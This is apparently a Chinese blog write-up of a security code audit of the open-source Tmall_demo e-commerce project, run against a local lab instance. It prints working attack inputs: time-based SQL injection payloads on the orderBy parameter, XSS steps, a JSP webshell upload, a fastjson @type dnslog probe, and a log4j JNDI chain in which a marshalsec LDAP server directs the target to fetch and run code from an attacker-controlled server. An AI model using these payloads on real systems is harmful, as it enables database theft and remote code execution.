MINI天猫商城代码审计
前言
最近看到很多师傅们,都在做这套tmall系统的代码审计,一时起兴趣,就自己也下载下来进行审一审,全程按照自己的思路去审计分析。在此进行简单的记录。
环境搭建与配置
项目地址:https://gitee.com/project_team/Tmall_demo
配置文件:src/main/resources/application.properties
修改为自己的数据库地址,也可以修改启动的端口
启动文件:src/main/java/com/xq/tmall/TmallSpringBootApplication.java
待maven加载完依赖之后,在该文件中进行启动项目。
浏览器访问
当我进行一些功能的操作的时候,发现报错了。
从下面这篇文章找到了解决方法,大概的意思就是我mysql版本较低,有个sql_mode默认没有开启,需要手动开启一下。
https://www.cnblogs.com/hungryquiter/p/16995127.html
1 | SET @@global.sql_mode ='STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION'; |
上述配置是临时开启该模式,重mysql之后会消失。
审计硬编码和使用的供应链
硬编码
直接ctrl+shif+f 全局搜索password 、pass、jdbc等关键字。
搜索password
搜索jdbc
上述可看到一些硬编码
供应链安全
本项目是使用maven管理,所以直接查看pom.xml文件,分析用了那些依赖以及版本。再去判断是否存在漏洞。
分析到了druid、fastjson、log4j、springframework.boot等一些比较常见的存在漏洞的组件或框架。
先对其有大致的了解,后续再深入研究。
审计owaspTop10漏洞
SQL注入
SQL注入一(后台)
分析了一下该项目,发现mybatis的xml文件均存放在/Users/garck/D/code/java/CodeAudit/Tmall_demo-master/src/main/resources/mybatis/mapper中。
下面直接搜索这个文件夹下面的带有 “$” 符号的xml文件来进行详细分析。
SQL语句使用了“$” 符号,就是使用了拼接的方式进行执行。若能够控制传入的数据,且没有过滤的情况下,可构造payload进行SQL注入。
下面开始分析 ProductMapper.xml的“${orderUtil.orderBy}”
这是一个查询的SQL语句,并且绑定的是select方法,且是属于接⼝com.xq.tmall.dao.ProductMapper的select方法
查看该接口,确认存在select方法,且传入了OrderUtil参数
搜索哪个地方调用了这个接口的方法,发现接口实现类ProductServiceImpl中有调用
详情
ProductService接口类声明的getList,同时传入的orderUtil
看一下orderUtil工具类
搜索哪个controller类中调用了ProductServiceImpl的getList方法,分析一下ForeProductListController168行
看了一下这个注释,大概是在 获取商品列表的时候需要调用ProductService.getList。
还原一下接口URL;确认是GET请求,根路径是product
产品高级查询功能;product/{index}/{count},看到这里之后,凉凉了,orderUtil不可控。
继续找其他调用ProductService.getList的controller类;看一下ProductController类的49行,发现传入的orderUtil为null,直接跳过分析下一个。
ProductController类的405行,
结合OrderUtil的构造方法分析,看看有没有传入orderBy和isDesc这两个参数
发现参数可控,前端传入orderBy参数到该控制层
构造payload
admin/product/{index}/{count},加上一个统一的前缀/tmall后继续访问;/tmall/admin/product/
登录后台。账号:admin. 密码:123456
因为这里使用了rest风格的URL,理论上说index和count可以随意输入,所以直接构造到的URL为:http://192.168.75.154:8090/tmall/admin/product/1/1?orderBy=1
注入参数:orderBy
添加单引号
延迟5秒
sqlmap验证
看了一下过滤器,只做了权限校验。没有做SQL注入的过滤,所以只要发现参数可控的注入的即可注入,不需要绕过。
SQL注入二(前台)
继续寻找调用了ProductServiceImpl的getList方法的controller
ProductService.getList
1 | ---- ForeHomeController ###调用ProductService.getList时传入为null,不存在注入 |
ForeProductListController的168行传入了orderUtil对象。
分析orderUtil对象的来源。
进行构造payload
1 | 192.168.75.154:8090/tmall/product/0/20?orderBy=1 AND (SELECT 3188 FROM (SELECT(SLEEP(5)))KJQA) |
成功延迟
SQL注入三(前台)
分析到了利用链:ProductMapper.selectMoreList—ProductService.getMoreList—ForeProductListController(163)。
需要满足条件:
1 | product_name_split不为空 |
溯product_name_split的由来
product_name_split = product_name.split(“ “);
1 | product_name 不为空 |
分析得知:product_name_split 是通过空格去匹配来切割product_name传入的参数的值来分隔的
.split:可以根据匹配给定的正则表达式来拆分字符串
所以传入的参数需要传入两个,并且使用空格分隔。最终得到的payload
1 | /tmall/product/0/20?orderBy=%31%20%41%4e%44%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%28%73%6c%65%65%70%28%35%29%29%29%6d%73%63%70%29&isDesc=true&category_id=2&category_id=3&product_name=%71%77%65%2c%61%73%64%20%7a%78%63 |
SQL注入总结
本系统共审计发现6个SQL注入点且均已验证确认。下面是详细的污点传播链。
- SQL注入1:
RewardController(97)–>RewardService.getList–>RewardMapper.select –>RewardMapper.xml(${orderUtil.orderBy}) - SQL注入2:
ForeProductListController(163)–> ProductService.getMoreList–>ProductMapper.selectMoreList–> ProductMapper.xml(${orderUtil.orderBy}) - SQL注入3:
ProductController(405)–>ProductService.getList–> ProductMapper.select–> ProductMapper.xml(${orderUtil.orderBy}) - SQL注入4:
ForeProductListController(168)–>ProductService.getList–> ProductMapper.select–>ProductMapper.xml(${orderUtil.orderBy}) - SQL注入5:
OrderController(176)–>ProductOrderService.getList–>ProductOrderMapper.select–>ProductOrderService.xml(${orderUtil.orderBy}) - SQL注入6:
UserController(170)–> UserService.getList–>UserMapper.select–>UserMapper.xml(${orderUtil.orderBy})
XSS(反射)
- requestScope:是EL表达式中的一个隐含对象,类似request,如:${requestScope.username} 表示在request域中取得username属性所对应的值
搜索requestScope、map.put。
触发链:ForeProductListController拿到了product_name后赋值给searchValue,未做处理之后直接map.put传到了request域,转到fore/productListPage。
链为:前端传参–>ForeProductListController–>获取参数–>传到前端–>展示(触发)
productListPage页面直接调用
验证
XSS(存储)
注册账号
控制层拿到传入的user_name
创建用户对象,然后将用户对象传入到service层
service调用dao层的接口
最终到了xml配置文件,执行SQL语句的地方,成功插入数据。
burp验证。
看了下数据表,只要名字的长度不超过25就不会报错,不然报服务器500的错误。
登录账号之后触发。有一个页面是去获取数据库中存储的用户名的。所以登录之后直接出发XSS。
触发链:
访问tmall/login,即可访问到ForeLoginController控制层的login,重定向到 fore/loginPage
登录页面的loginPage.jsp
调用了fore_login.js;如果后端响应返回成功,则访问/tmall
登录成功返回
主页,取出前面登录成功存进去的userId,判断用户是否登录。如果已经登录则把整改user对象传到Request。map.put(“user”, user);其中user对象的数据会调用service层的userService.get,service会调用dao的userMapper.selectOne,selectOne去数据库根据这个userId查询信息。返回后封装成User对象。
执行完上面的之后,跳转到fore/homePage;homePage里面又包含了navigator.jsp
navigator.jsp触发
文件上传
文件上传1
全局搜索upload
发现头像上传的controller,且不存在过滤。
通过post上传文件,调用UUID随机数重命名文件之后直接保存到了res/images/item/userProfilePicture/目录,上传成功之后JSON格式返回状态以及文件名称。
未对所上传的文件进行类型已经文件后缀校验,存在任意文件上传漏洞。
前台用户头像更换处
使用蚁剑生成一个jsp的webshell,直接粘贴到bp进行上传。
因为有个统一的前缀/tmall,所以这个别忘记加上。
本项目存在4个文件上传点,且都可以进行getshell
文件上传2
文件上传3
管理员头像上传
文件上传4
添加产品处
CSRF
因项目没有其他过滤器校验Referer头,所以全局存在CSRF漏洞。
验证
SSRF
搜索全局未发现可能引起SSRF的危险函数。
框架漏洞
fastjson
拿到源码的时候,fastjson使用的是1.2.83版本;这个版本目前暂时安全。为了好玩一点,我们可以把版本降低一点来进行fastjson的反序列化攻击测试,我这里就直接改为了1.2.24。(当然这不算属于这个源码本身的漏洞,只是学习把版本降低进行测试。)
搜索关键字JSON.parseObject(Json字符串转化为相应的对象)
更新产品属性的地方进行了JSON.parseObject(添加产品属性的地方也进行了JSON.parseObject),没进行过滤,从前端获取到数据,直接传给JSON.parseObject。
进行dnslog探测
1 | {"garck3h":{"@type":"java.net.Inet4Address","val":"666.eyle20.dnslog.cn"}} |
使用BCEL进行本地序列化成功弹计算器。
使用Spring做回显,成功执行命令并且回显
此外该系统还有其他功能点存在该漏洞
log4j2
这里的log4j是2.20版本,属于安全版本。我改一下为2.14版本。测试一下log4j漏洞。
全局搜索:logger.info;发现一个orderBy是可控的
使用dnslog进行探测,成功接收到请求。
1 | ${jndi:ldap://log4j.15k855.dnslog.cn} |
进行JNDI注入:
写好的弹计算器的payload,然后使用Javac TestCmd.java进行编译
1 | import java.io.IOException; |
使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#TestCmd" |
使用python3起http服务
1 | python3 -m http.server 8888 |
payload
1 | ${jndi:ldap://192.168.75.154:1389/a} |
此外该系统还有其他功能点存在该漏洞
总结
- 因为本次的mysql是部署在Linux服务器的,Linux区分大小写,但SQL文件里面的一些表名称是小写的,会导致表名不对,根据控制台提示进行修改即可。
- 遇到错误“this is incompatible with sql_mode=only_full_group_by ”;因为mysql 5.7.5版本以上默认的sql配置是:sql_mode=“ONLY_FULL_GROUP_BY”。由于开启了ONLY_FULL_GROUP_BY的设置,如果select 的字段不在 group by 中,并且select 的字段未使用聚合函数(SUM,AVG,MAX,MIN等)的话,那么这条sql查询是被mysql认为非法的,会报错误。
- 这项目不复杂,都是一些比较常规常见的漏洞,而且调用关系也清晰,审计起来比较轻松。该系统或还有一些没有挖掘的漏洞,望师傅们勿喷。